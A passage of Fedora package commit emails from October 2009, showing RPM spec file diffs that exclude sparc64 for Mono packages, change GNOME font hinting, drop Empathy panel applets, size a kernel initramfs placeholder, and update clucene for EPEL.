+Release:	9.20091702svn%{svnver}%{?dist}
 Summary:	Addins for mono
 Group:		Development/Languages
 License:	MIT
@@ -13,6 +13,7 @@ BuildRoot:	%{_tmppath}/%{name}-%{version
 
 BuildRequires:	mono-devel >= 2.4, gtk-sharp2-devel, autoconf, automake
 BuildRequires:	pkgconfig
+ExcludeArch:    sparc64
 
 %description
 Mono.Addins is a generic framework for creating extensible applications,
@@ -68,6 +69,9 @@ make DESTDIR=%{buildroot} install
 %{_libdir}/pkgconfig/mono-addins*
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.4-9.20091702svn127062
+- exclude sparc64
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4-8.20091702svn127062.1
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 21:44:10 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:44:10 +0000 (UTC)
Subject: rpms/monsoon/F-12 monsoon.spec,1.4,1.5
Message-ID: <20091026214410.B9FAF11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/monsoon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11823

Modified Files:
	monsoon.spec 
Log Message:
 exclude sparc64



Index: monsoon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/monsoon/F-12/monsoon.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- monsoon.spec	25 Jul 2009 15:05:11 -0000	1.4
+++ monsoon.spec	26 Oct 2009 21:44:10 -0000	1.5
@@ -2,7 +2,7 @@
 
 Name:		monsoon
 Version:	0.21
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	Bittorrent client based on MonoTorrent
 Group:		Development/Languages
 License:	MIT
@@ -12,8 +12,7 @@ Patch0:		monsoon-desktopfile.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:	ndesk-dbus-glib-devel, monotorrent-devel >= 0.72, mono-nat-devel >= 1.0, mono-devel, gtk-sharp2-devel, gnome-sharp-devel, desktop-file-utils, gettext-devel, perl-XML-Parser, intltool
 
-# Bug 241850 - no Mono on pp64
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha
+ExcludeArch:   sparc64
 
 %description
 Monsoon is a Bittorrent client written in Mono and GTK#
@@ -47,6 +46,9 @@ desktop-file-install --vendor gnome --de
 %{_datadir}/applications/
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.21-3
+- exclude sparc64
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.21-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 21:45:15 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:45:15 +0000 (UTC)
Subject: rpms/monsoon/devel monsoon.spec,1.4,1.5
Message-ID: <20091026214515.5978411C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/monsoon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12077

Modified Files:
	monsoon.spec 
Log Message:
Exclude sparc64



Index: monsoon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/monsoon/devel/monsoon.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- monsoon.spec	25 Jul 2009 15:05:11 -0000	1.4
+++ monsoon.spec	26 Oct 2009 21:45:15 -0000	1.5
@@ -2,7 +2,7 @@
 
 Name:		monsoon
 Version:	0.21
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	Bittorrent client based on MonoTorrent
 Group:		Development/Languages
 License:	MIT
@@ -12,8 +12,7 @@ Patch0:		monsoon-desktopfile.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:	ndesk-dbus-glib-devel, monotorrent-devel >= 0.72, mono-nat-devel >= 1.0, mono-devel, gtk-sharp2-devel, gnome-sharp-devel, desktop-file-utils, gettext-devel, perl-XML-Parser, intltool
 
-# Bug 241850 - no Mono on pp64
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha
+ExcludeArch:   sparc64
 
 %description
 Monsoon is a Bittorrent client written in Mono and GTK#
@@ -47,6 +46,9 @@ desktop-file-install --vendor gnome --de
 %{_datadir}/applications/
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.21-3
+- exclude sparc64
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.21-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mclasen at fedoraproject.org  Mon Oct 26 21:45:44 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 26 Oct 2009 21:45:44 +0000 (UTC)
Subject: rpms/gnome-settings-daemon/F-12 slight-hinting.patch, NONE,
	1.1 gnome-settings-daemon.spec, 1.130, 1.131
Message-ID: <20091026214544.158B811C0264@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-settings-daemon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12108

Modified Files:
	gnome-settings-daemon.spec 
Added Files:
	slight-hinting.patch 
Log Message:
Change default font rendering to use slight hinting


slight-hinting.patch:
 desktop_gnome_font_rendering.schemas.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE slight-hinting.patch ---
diff -up gnome-settings-daemon-2.28.1/data/desktop_gnome_font_rendering.schemas.in.slight-hinting gnome-settings-daemon-2.28.1/data/desktop_gnome_font_rendering.schemas.in
--- gnome-settings-daemon-2.28.1/data/desktop_gnome_font_rendering.schemas.in.slight-hinting	2009-10-26 17:39:06.045797092 -0400
+++ gnome-settings-daemon-2.28.1/data/desktop_gnome_font_rendering.schemas.in	2009-10-26 17:39:45.649802771 -0400
@@ -35,7 +35,7 @@
 	    <applyto>/desktop/gnome/font_rendering/hinting</applyto>
             <owner>gnome</owner>
 	    <type>string</type>
-            <default>medium</default>
+            <default>slight</default>
             <locale name="C">
 	        <short>Hinting</short>
                 <long>


Index: gnome-settings-daemon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-settings-daemon/F-12/gnome-settings-daemon.spec,v
retrieving revision 1.130
retrieving revision 1.131
diff -u -p -r1.130 -r1.131
--- gnome-settings-daemon.spec	26 Oct 2009 06:13:46 -0000	1.130
+++ gnome-settings-daemon.spec	26 Oct 2009 21:45:43 -0000	1.131
@@ -1,6 +1,6 @@
 Name:		gnome-settings-daemon
 Version:	2.28.1
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	The daemon sharing settings from GNOME to GTK+/KDE applications
 
 Group:		System Environment/Daemons
@@ -39,6 +39,9 @@ Patch1: osd-visual-refresh.patch
 # https://bugzilla.redhat.com/show_bug.cgi?id=498249
 Patch2: left-handed-touchpad.patch
 
+# change font rendering
+Patch3: slight-hinting.patch
+
 %description
 A daemon to share settings from GNOME to other applications. It also
 handles global keybindings, as well as a number of desktop-wide settings.
@@ -59,6 +62,7 @@ developing applications that use %{name}
 %patch0 -p1 -b .osd-rounded-rectangle
 %patch1 -p1 -b .osd-visual-refresh
 %patch2 -p1 -b .left-handed-touchpad
+%patch3 -p1 -b .slight-hinting
 
 %build
 %configure --enable-static=no --enable-profiling --disable-esd
@@ -170,6 +174,9 @@ fi
 %{_libdir}/pkgconfig/gnome-settings-daemon.pc
 
 %changelog
+* Mon Oct 26 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-3
+- Change default font rendering to use slight hinting
+
 * Mon Oct 26 2009 Peter Hutterer <peter.hutterer at redhat.com> 2.28.1-2
 - left-handed-touchpad.patch: change physical touchpad buttons to
   left-handed, not tapping though (#498249)



From ausil at fedoraproject.org  Mon Oct 26 21:48:43 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:48:43 +0000 (UTC)
Subject: rpms/bless/F-12 bless.spec,1.6,1.7
Message-ID: <20091026214843.AD5E111C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/bless/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13107

Modified Files:
	bless.spec 
Log Message:
 excludearch sparc64



Index: bless.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bless/F-12/bless.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- bless.spec	24 Jul 2009 18:10:13 -0000	1.6
+++ bless.spec	26 Oct 2009 21:48:43 -0000	1.7
@@ -3,7 +3,7 @@
 
 Name: bless
 Version: 0.6.0
-Release: 4%{?dist}
+Release: 5%{?dist}
 Summary: High quality, full featured hex editor    
 
 Group: Applications/Editors         
@@ -21,6 +21,8 @@ BuildRequires: scrollkeeper
 Requires: mono-core
 Requires: gtk-sharp2
 
+ExcludeArch: sparc64
+
 %description
 Bless is a binary (hex) editor, a program that 
 enables you to edit files as sequences of bytes.
@@ -77,6 +79,9 @@ scrollkeeper-update -q || :
 %{_datadir}/omf/bless/
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.6.0-5
+- ExckudeArch sparc64
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.0-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 21:51:28 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:51:28 +0000 (UTC)
Subject: rpms/bless/devel bless.spec,1.6,1.7
Message-ID: <20091026215128.0A68211C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/bless/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13298

Modified Files:
	bless.spec 
Log Message:
exclude sparc64



Index: bless.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bless/devel/bless.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- bless.spec	24 Jul 2009 18:10:13 -0000	1.6
+++ bless.spec	26 Oct 2009 21:51:27 -0000	1.7
@@ -3,7 +3,7 @@
 
 Name: bless
 Version: 0.6.0
-Release: 4%{?dist}
+Release: 5%{?dist}
 Summary: High quality, full featured hex editor    
 
 Group: Applications/Editors         
@@ -21,6 +21,8 @@ BuildRequires: scrollkeeper
 Requires: mono-core
 Requires: gtk-sharp2
 
+ExcludeArch: sparc64
+
 %description
 Bless is a binary (hex) editor, a program that 
 enables you to edit files as sequences of bytes.
@@ -77,6 +79,9 @@ scrollkeeper-update -q || :
 %{_datadir}/omf/bless/
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.6.0-5
+- ExckudeArch sparc64
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.0-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 21:54:26 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:54:26 +0000 (UTC)
Subject: rpms/gnome-rdp/F-12 gnome-rdp.spec,1.4,1.5
Message-ID: <20091026215427.0D15211C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gnome-rdp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15510

Modified Files:
	gnome-rdp.spec 
Log Message:
exclude sparc64



Index: gnome-rdp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-rdp/F-12/gnome-rdp.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- gnome-rdp.spec	25 Jul 2009 00:45:30 -0000	1.4
+++ gnome-rdp.spec	26 Oct 2009 21:54:26 -0000	1.5
@@ -2,7 +2,7 @@
 
 Name:           gnome-rdp        
 Version:        0.2.3
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:        Remote Desktop Protocol client for the GNOME desktop environment
 
 Group:          Applications/Internet
@@ -17,6 +17,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 # nant is not available for ppc
 ExcludeArch:    ppc
 ExcludeArch:    ppc64
+ExcludeArch:    sparc64
 
 BuildRequires:  nant
 BuildRequires:  glib2-devel >= 2.15.3
@@ -83,6 +84,9 @@ rm -rf %{buildroot}
 %{_datadir}/pixmaps/gnome-rdp.png
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.2.3-6
+- exclude sparc64
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2.3-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From bpepple at fedoraproject.org  Mon Oct 26 21:54:39 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Mon, 26 Oct 2009 21:54:39 +0000 (UTC)
Subject: rpms/empathy/F-12 empathy.spec,1.85,1.86
Message-ID: <20091026215439.E58F711C0264@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/empathy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15659

Modified Files:
	empathy.spec 
Log Message:
* Mon Oct 26 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.1.1-2
- Disable panel applets, since they are unmaintained and being dropped from Empathy.



Index: empathy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/F-12/empathy.spec,v
retrieving revision 1.85
retrieving revision 1.86
diff -u -p -r1.85 -r1.86
--- empathy.spec	26 Oct 2009 18:39:59 -0000	1.85
+++ empathy.spec	26 Oct 2009 21:54:39 -0000	1.86
@@ -14,7 +14,7 @@
 
 Name:		empathy
 Version:	2.28.1.1
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	Instant Messaging Client for GNOME
 
 Group:		Applications/Communications
@@ -44,7 +44,6 @@ BuildRequires:	GConf2-devel
 BuildRequires:	gettext
 BuildRequires:	glib2-devel >= %{glib2_min_version}
 BuildRequires:	gnome-doc-utils >= 0.17.3
-BuildRequires:	gnome-panel-devel
 BuildRequires:	libcanberra-devel >= %{libcanberra_version}
 BuildRequires:	webkitgtk-devel >= %{webkit_version}
 BuildRequires:	gtk2-devel >= %{gtk2_min_version}
@@ -56,6 +55,7 @@ BuildRequires:	telepathy-glib-devel >= %
 BuildRequires:	telepathy-farsight-devel
 BuildRequires:	libnotify-devel >= %{libnotify_version}
 BuildRequires:	NetworkManager-glib-devel >= %{network_manager_version}
+BuildRequires:	gnome-keyring-devel
 BuildRequires:  libchamplain-gtk-devel >= %{libchamplain_version}
 BuildRequires:  clutter-gtk-devel
 BuildRequires:  geoclue-devel >= 0.11
@@ -145,7 +145,7 @@ rm data/empathy.schemas
 %build
 ## GCC complains about some unused functions, so we forcibly show those as
 ## simple warnings instead of build-halting errors.
-%configure --with-compile-warnings=yes --disable-static --enable-map=yes --enable-location=yes
+%configure --with-compile-warnings=yes --disable-static --enable-map=yes --enable-location=yes --enable-megaphone=no --enable-nothere=no
 ## RPATHs are yucky.
 sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
 sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
@@ -174,7 +174,6 @@ rm -rf %{buildroot}
 if [ "$1" -gt 1 ]; then
 	export GCONF_CONFIG_SOURCE=$(gconftool-2 --get-default-source)
 	gconftool-2 --makefile-uninstall-rule	\
-		%{_sysconfdir}/gconf/schemas/GNOME_Megaphone_Applet.schemas	\
 		%{_sysconfdir}/gconf/schemas/%{name}.schemas > /dev/null ||:
 fi
 
@@ -182,7 +181,6 @@ fi
 %post
 export GCONF_CONFIG_SOURCE=$(gconftool-2 --get-default-source)
 gconftool-2 --makefile-install-rule	\
-	%{_sysconfdir}/gconf/schemas/GNOME_Megaphone_Applet.schemas	\
 	%{_sysconfdir}/gconf/schemas/%{name}.schemas > /dev/null ||:
 scrollkeeper-update -q -o %{_datadir}/omf/%{name} ||:
 touch --no-create %{_datadir}/icons/hicolor ||:
@@ -195,7 +193,6 @@ touch --no-create %{_datadir}/icons/hico
 if [ "$1" -eq 0 ]; then
 	export GCONF_CONFIG_SOURCE=$(gconftool-2 --get-default-source)
 	gconftool-2 --makefile-uninstall-rule	\
-		%{_sysconfdir}/gconf/schemas/GNOME_Megaphone_Applet.schemas	\
 		%{_sysconfdir}/gconf/schemas/%{name}.schemas > /dev/null ||:
 fi
 
@@ -214,7 +211,6 @@ fi
 %defattr(-,root,root,-)
 %doc AUTHORS COPYING README README.ConnectionManagers NEWS
 %{_sysconfdir}/gconf/schemas/%{name}.schemas
-%{_sysconfdir}/gconf/schemas/GNOME_Megaphone_Applet.schemas
 %{_bindir}/empathy
 %{_bindir}/empathy-logs
 %{_datadir}/empathy/
@@ -223,10 +219,6 @@ fi
 %{_datadir}/icons/hicolor/*/apps/%{name}*
 %{_datadir}/dbus-1/services/org.freedesktop.Telepathy.Client.Empathy.service
 %{_datadir}/telepathy/clients/Empathy.client
-%{_libexecdir}/megaphone-applet
-%{_libexecdir}/nothere-applet
-%{_libdir}/bonobo/servers/GNOME_Megaphone_Applet.server
-%{_libdir}/bonobo/servers/GNOME_NotHere_Applet.server
 %{_mandir}/man1/empathy*.1.gz
 
 %files	libs
@@ -245,6 +237,9 @@ fi
 %{python_sitearch}/empathy*.so
 
 %changelog
+* Mon Oct 26 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.1.1-2
+- Disable panel applets, since they are unmaintained and being dropped from Empathy.
+
 * Mon Oct 26 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.1.1-1
 - Update to 2.28.1.1.
 - See http://download.gnome.org/sources/empathy/2.28/empathy-2.28.1.1.news



From davej at fedoraproject.org  Mon Oct 26 21:55:34 2009
From: davej at fedoraproject.org (Dave Jones)
Date: Mon, 26 Oct 2009 21:55:34 +0000 (UTC)
Subject: rpms/kernel/devel kernel.spec,1.1832,1.1833
Message-ID: <20091026215534.CB5D111C0264@cvs1.fedora.phx.redhat.com>

Author: davej

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16362

Modified Files:
	kernel.spec 
Log Message:
Make a 20MB initramfs file so rpm gets its diskspace calculations right. (#530778)


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1832
retrieving revision 1.1833
diff -u -p -r1.1832 -r1.1833
--- kernel.spec	24 Oct 2009 22:17:56 -0000	1.1832
+++ kernel.spec	26 Oct 2009 21:55:34 -0000	1.1833
@@ -1442,9 +1442,11 @@ BuildKernel() {
     install -m 644 .config $RPM_BUILD_ROOT/boot/config-$KernelVer
     install -m 644 System.map $RPM_BUILD_ROOT/boot/System.map-$KernelVer
 %if %{with_dracut}
-    touch $RPM_BUILD_ROOT/boot/initramfs-$KernelVer.img
+    # We estimate the size of the initramfs because rpm needs to take this size
+    # into consideration when performing disk space calculations. (See bz #530778)
+    dd if=/dev/zero of=$RPM_BUILD_ROOT/boot/initramfs-$KernelVer.img size=1M count=20
 %else
-    touch $RPM_BUILD_ROOT/boot/initrd-$KernelVer.img
+    dd if=/dev/zero of=$RPM_BUILD_ROOT/boot/initrd-$KernelVer.img size=1M count=5
 %endif
     if [ -f arch/$Arch/boot/zImage.stub ]; then
       cp arch/$Arch/boot/zImage.stub $RPM_BUILD_ROOT/%{image_install_path}/zImage.stub-$KernelVer || :
@@ -1969,6 +1971,9 @@ fi
 # ##############################################################
 
 %changelog
+* Mon Oct 26 2009 Dave Jones <davej at redhat.com>
+- Make a 20MB initramfs file so rpm gets its diskspace calculations right. (#530778)
+
 * Sat Oct 23 2009 Chuck Ebbert <cebbert at redhat.com>
 - 2.6.32-rc5-git3
 - Drop merged patch:



From ausil at fedoraproject.org  Mon Oct 26 21:55:31 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:55:31 +0000 (UTC)
Subject: rpms/gnome-rdp/devel gnome-rdp.spec,1.4,1.5
Message-ID: <20091026215531.A757B11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gnome-rdp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15798

Modified Files:
	gnome-rdp.spec 
Log Message:
 exclude sparc64



Index: gnome-rdp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-rdp/devel/gnome-rdp.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- gnome-rdp.spec	25 Jul 2009 00:45:30 -0000	1.4
+++ gnome-rdp.spec	26 Oct 2009 21:55:31 -0000	1.5
@@ -2,7 +2,7 @@
 
 Name:           gnome-rdp        
 Version:        0.2.3
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:        Remote Desktop Protocol client for the GNOME desktop environment
 
 Group:          Applications/Internet
@@ -17,6 +17,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 # nant is not available for ppc
 ExcludeArch:    ppc
 ExcludeArch:    ppc64
+ExcludeArch:    sparc64
 
 BuildRequires:  nant
 BuildRequires:  glib2-devel >= 2.15.3
@@ -83,6 +84,9 @@ rm -rf %{buildroot}
 %{_datadir}/pixmaps/gnome-rdp.png
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.2.3-6
+- exclude sparc64
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2.3-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From deji at fedoraproject.org  Mon Oct 26 21:58:53 2009
From: deji at fedoraproject.org (Deji Akingunola)
Date: Mon, 26 Oct 2009 21:58:53 +0000 (UTC)
Subject: rpms/clucene/EL-5 .cvsignore, 1.2, 1.3 clucene.spec, 1.2,
	1.3 sources, 1.2, 1.3
Message-ID: <20091026215853.A63BB11C0264@cvs1.fedora.phx.redhat.com>

Author: deji

Update of /cvs/pkgs/rpms/clucene/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18150

Modified Files:
	.cvsignore clucene.spec sources 
Log Message:
* Mon Oct 26 2009 Deji Akingunola <dakingun at gmail.com> - 0.9.21b-1
- Build for RHEL5 and clones (in EPEL)
- Update to version 0.9.21b



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/clucene/EL-5/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	13 Dec 2006 17:09:38 -0000	1.2
+++ .cvsignore	26 Oct 2009 21:58:52 -0000	1.3
@@ -1 +1 @@
-clucene-core-0.9.16a.tar.bz2
+clucene-core-0.9.21b.tar.bz2


Index: clucene.spec
===================================================================
RCS file: /cvs/pkgs/rpms/clucene/EL-5/clucene.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- clucene.spec	18 Dec 2006 21:46:13 -0000	1.2
+++ clucene.spec	26 Oct 2009 21:58:53 -0000	1.3
@@ -1,13 +1,19 @@
-Summary: A C++ port of Lucene
-Name: clucene
-Version: 0.9.16a
-Release: 1%{?dist}
-License: LGPL
-Group: Development/System
-URL: http://www.sourceforge.net/projects/clucene
-Source: http://easynews.dl.sf.net/clucene/clucene-core-%{version}.tar.bz2
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires: automake
+%define build_contrib	0
+
+Summary:	A C++ port of Lucene
+Name:		clucene
+Version:	0.9.21b
+Release:	1%{?dist}
+License:	LGPLv2+ or ASL 2.0
+Group:		Development/System
+URL:		http://www.sourceforge.net/projects/clucene
+Source0:	http://downloads.sourceforge.net/clucene/clucene-core-%{version}.tar.bz2
+%if %{build_contrib}
+Source1:	http://downloads.sourceforge.net/clucene/clucene-contrib-0.9.16a.tar.bz2
+Patch1:		clucene-contrib-autoconf.patch
+%endif
+BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+BuildRequires:	automake gawk
 
 %description
 CLucene is a C++ port of Lucene.
@@ -16,46 +22,102 @@ engine written in C++. CLucene is faster
 as it is written in C++
 
 %package core
-Summary: Core clucene module
-Group: Development/System
-Provides: clucene
+Summary:	Core clucene module
+Group:		Development/System
+Provides:	clucene
+#Requires: %{name} = %{version}-%{release}
 
 %description core
 The core clucene module
 
 %package core-devel
-Summary: Headers for developing programs that will use %{name}
-Group: Development/Libraries
-Requires: %{name}-core = %{version}-%{release}
+Summary:	Headers for developing programs that will use %{name}
+Group:		Development/Libraries
+Requires:	%{name}-core = %{version}-%{release}
 
 %description core-devel
 This package contains the static libraries and header files needed for
 developing with clucene
 
+%if %{build_contrib}
+%package	contrib
+Summary:	Core clucene module
+Group:		Development/System
+Requires:	%{name}-core >= %{version}-%{release}
+
+%description contrib
+Collection of contributions for C++ port of Lucene
+
+%package contrib-devel
+Summary:	Headers for developing programs that will use %{name}
+Group:		Development/Libraries
+Requires:	%{name}-contrib = %{version}-%{release}
+Requires:	%{name}-core-devel >= %{version}-%{release}
+
+%description contrib-devel
+This package contains the static libraries and header files needed for
+developing with clucene-contrib
+%endif
+
 %prep
-%setup -q -n clucene-core-%{version}
+%if %{build_contrib}
+%setup -q -c -a 1
+cd %{name}-contrib-%{version}
+%patch1 -p0 -b .autoconf
+%else
+%setup -q -c -a 0
+%endif
 
 %build
+pushd %{name}-core-%{version}
 %configure --disable-static
 make %{?_smp_mflags}
+popd
+
+%if %{build_contrib}
+pushd %{name}-contrib-%{version}
+aclocal -I m4
+autoconf
+automake --add-missing --copy
+%configure --disable-static
+make %{?_smp_mflags}
+popd
+%endif
 
-# Run the tests
-%check
-make check
-										
 %install
 rm -rf %{buildroot}
+pushd %{name}-core-%{version}
 make DESTDIR=%{buildroot} install
+popd
 
-#Hope upstream will correct this problem in the next release
-mv %{buildroot}%{_libdir}/CLucene/clucene-config.h  %{buildroot}%{_includedir}/CLucene/
-rm -rf %{buildroot}%{_libdir}/CLucene
+%if %{build_contrib}
+pushd %{name}-contrib-%{version}
+make DESTDIR=%{buildroot} install
+popd
+%endif
 
 #Package the docs
 mkdir -p %{buildroot}%{_datadir}/%{name}/doc
+mkdir -p %{buildroot}%{_datadir}/doc/%{name}-%{version}
+pushd %{name}-core-%{version}
 cp -pr doc/*.htm doc/*.jpg %{buildroot}%{_datadir}/%{name}/doc
+cp -pr AUTHORS COPYING HACKING README REQUESTS \
+       %{buildroot}%{_datadir}/doc/%{name}-%{version}
+popd
+
+# Run the tests 
+## It currently fails 2 tests for ppc64 builds, upstream is looking into it.
+%ifarch %{ix86} x86_64
+%check
+pushd %{name}-core-%{version}
+make check
+popd
+%endif
 
 rm -rf %{buildroot}%{_libdir}/*.la
+# These are from the contrib package
+rm -rf %{buildroot}%{_includedir}/CuTest.h
+rm -rf %{buildroot}%{_includedir}/test.h
 
 %clean
 rm -rf %{buildroot}
@@ -66,19 +128,78 @@ rm -rf %{buildroot}
 
 %files core
 %defattr(-, root, root, -)
-%doc AUTHORS COPYING HACKING README REQUESTS
-%{_libdir}/*.so.*
+#%doc AUTHORS COPYING HACKING README REQUESTS
+%{_libdir}/libclucene.so.*
+%{_datadir}/doc/%{name}-%{version}/
 
 %files core-devel
 %defattr(-, root, root, -)
-%{_includedir}/CLucene/
+%dir %{_includedir}/CLucene
+%dir %{_libdir}/CLucene
+%{_includedir}/CLucene/*
 %{_includedir}/CLucene.h
-%{_libdir}/*.so
+%{_libdir}/libclucene.so
+%{_libdir}/CLucene/clucene-config.h
 %{_datadir}/%{name}/
+%if %{build_contrib}
+%exclude %{_includedir}/CLucene/clucene-config-contrib.h
+%exclude %{_includedir}/CLucene/analysis/cjk/
+%exclude %{_includedir}/CLucene/highlighter/
+%exclude %{_includedir}/CLucene/jstreams/
+%exclude %{_includedir}/CLucene/snowball/
+%endif
+
+%if %{build_contrib}
+%files contrib
+%defattr(-, root, root, -)
+%{_libdir}/libclucene-contrib.so.*
+
+%files contrib-devel
+%defattr(-, root, root, -)
+%dir %{_libdir}/CLucene
+%{_includedir}/CLucene/clucene-config-contrib.h
+%{_includedir}/CLucene/analysis/cjk/
+%{_includedir}/CLucene/highlighter/
+%{_includedir}/CLucene/jstreams/
+%{_includedir}/CLucene/snowball/
+%{_libdir}/libclucene-contrib.so
+%{_libdir}/CLucene/clucene-config-contrib.h
+%endif
 
 %changelog
+* Mon Oct 26 2009 Deji Akingunola <dakingun at gmail.com> - 0.9.21b-1
+- Build for RHEL5 and clones (in EPEL)
+- Update to version 0.9.21b
+
+* Tue Apr 14 2009 Karsten Hopp <karsten at redhat.com> 0.9.21-3
+- bypass 'make check' on s390x, similar to ppc64
+
+* Wed Aug 27 2008 Deji Akingunola <dakingun at gmail.com> - 0.9.21-1
+- Update to version 0.9.21
+
+* Sun Feb 10 2008 Deji Akingunola <dakingun at gmail.com> - 0.9.20-4
+- Rebuild for gcc43
+
+* Wed Oct 25 2007 Deji Akingunola <dakingun at gmail.com> - 0.9.20-3
+- Fix a typo in the License field
+
